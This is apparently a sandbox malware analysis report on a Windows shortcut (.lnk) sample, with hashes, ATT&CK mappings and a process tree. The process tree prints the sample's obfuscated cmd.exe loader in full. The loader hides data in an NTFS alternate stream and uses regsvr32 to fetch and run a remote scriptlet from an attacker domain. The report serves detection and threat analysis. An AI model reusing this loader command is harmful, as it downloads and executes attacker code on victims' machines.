da84ec40e2e54c70021181ea9902d6674c85568bc61403e753d88a6813ee4d4e

Analysis

max time kernel
298s
max time network
250s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 15:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Daniela135587051.lnk
Size 4KB
Sample260822-s78hfswcmd
SHA256 da84ec40e2e54c70021181ea9902d6674c85568bc61403e753d88a6813ee4d4e
MD5 d5c25af224d430ac4b16acc2f3ad6fcc
SHA1 2ba83ecfeaaaaa0221dca87349b8b69fc24d7f24
SHA512 21b97832df64a509e46dd60093cffc8b4030a92a73e8e761539c627f978749c733d7ce677a31bd886772b0386d660caa6d3c337311127fd3ce18c7847366262c
SSDEEP 96:8Pk/0fnL1uLJy8rtKUH+82c6V2RTV7cvmTfodWD:8Pk+uLJywKUe89ZR5ovmTQda
TLSH
T1F1A16D9F1A4DB076E5E8D170A6D07AAD0FADEE717964EB0C10AC25D0866150E08DF3EF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
3080	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2872	cmd.exe
2844	cmd.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\t8ZLO9.log:vVGLg	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2844	2872	cmd.exe	90
PID 2844 wrote to memory of 3080	2844	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Daniela135587051.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /FzJZid:cJQIQ39 /FLLG:ITIV /V:ON /D/C "(set _a=ty&set _b=pe&set _c=re&set _d=g&set _e=vr&set _f=3&set _g=st&set _h=ar&set _i=t&set _j=ht&set _k=tP&set _l=s)&(set _t=!_a!!_b!&set _r=!_c!!_d!&set _v=!_e!!_f!&set _s=!_g!!_h!!_i!&set _p=!_j!!_k!!_l!)&(!_t! *crObJ.* > C:\Users\Admin\AppData\Local\Temp\t8ZLO9.log:vVGLg)&&(for %J in (!_r!) do (for %X in (!_v!) do (!_s! %JS%X2 /i:!_p!://trusal.dravion.boats/?1/_x /u /s C:\Users\Admin\AppData\Local\Temp\\t8ZLO9.log:vVGLg)))"
  2⤵
  - Executes a command shell one-liner
  - NTFS ADS
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\System32\regsvr32.exe
    regSvr32 /i:httPs://trusal.dravion.boats/?1/_x /u /s C:\Users\Admin\AppData\Local\Temp\\t8ZLO9.log:vVGLg
    3⤵
    - Loads dropped DLL
    PID:3080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Daniela135587051.lnk

Path C:\Users\Admin\AppData\Local\Temp\Daniela135587051.lnk
Size 1KB
SHA256 5614314722b18e51e985f115bd75e174a49000fe389600a3221f52af53df6393
MD5 ecddd8a5633553d3782c758623a6fa9b
SHA1 cc1ef306a0c3dc03a2571f6e5ecfdec3dc875da7
SHA512 6d1a7644d19335a4e38c0ffdc556985df8a607f5e59ce2653d156f52ba5686000071218d4ad6998f71b944e0e0355e04c9039ff87fcd727b0435aab93d58e0d4
TLSH
T14A3147443BD51295F1BB4D3BCCBE63128665B9D6ACB6DE0D0990C18CA844303EF3AF16
MD5 SHA1 SHA512 TLSH

Submit Download

t8ZLO9.log:vVGLg

Path C:\Users\Admin\AppData\Local\Temp\t8ZLO9.log:vVGLg
Size 260KB
SHA256 4c1c1757ead32cfb0929d6ce40bfc4dd40c36e8842791e0aa4d988eb1110b777
MD5 da291aa94fbffe2b225e32617e5b8933
SHA1 c7f6888637dd4b571695c18e62bb0b37c633f970
SHA512 37107761b646ac23a6b06c027a36c9401940b599f6d0f61ec658740eea83644cec8d7aff44172d0bf2f0b14f9da17d612df63a2ebbcd6c7663caf45195fc8efa
SSDEEP 6144:1MkPBriYKzxcFtCE6nc2TxOKS1fCOBjjx926:1MUiYKRrJS1fCaPb
TLSH
T150443C1972E858D5EA76623C8553860AD7F27C211321D6DF039086BAAF3BFD57E38B10
MD5 SHA1 SHA512 SSDEEP TLSH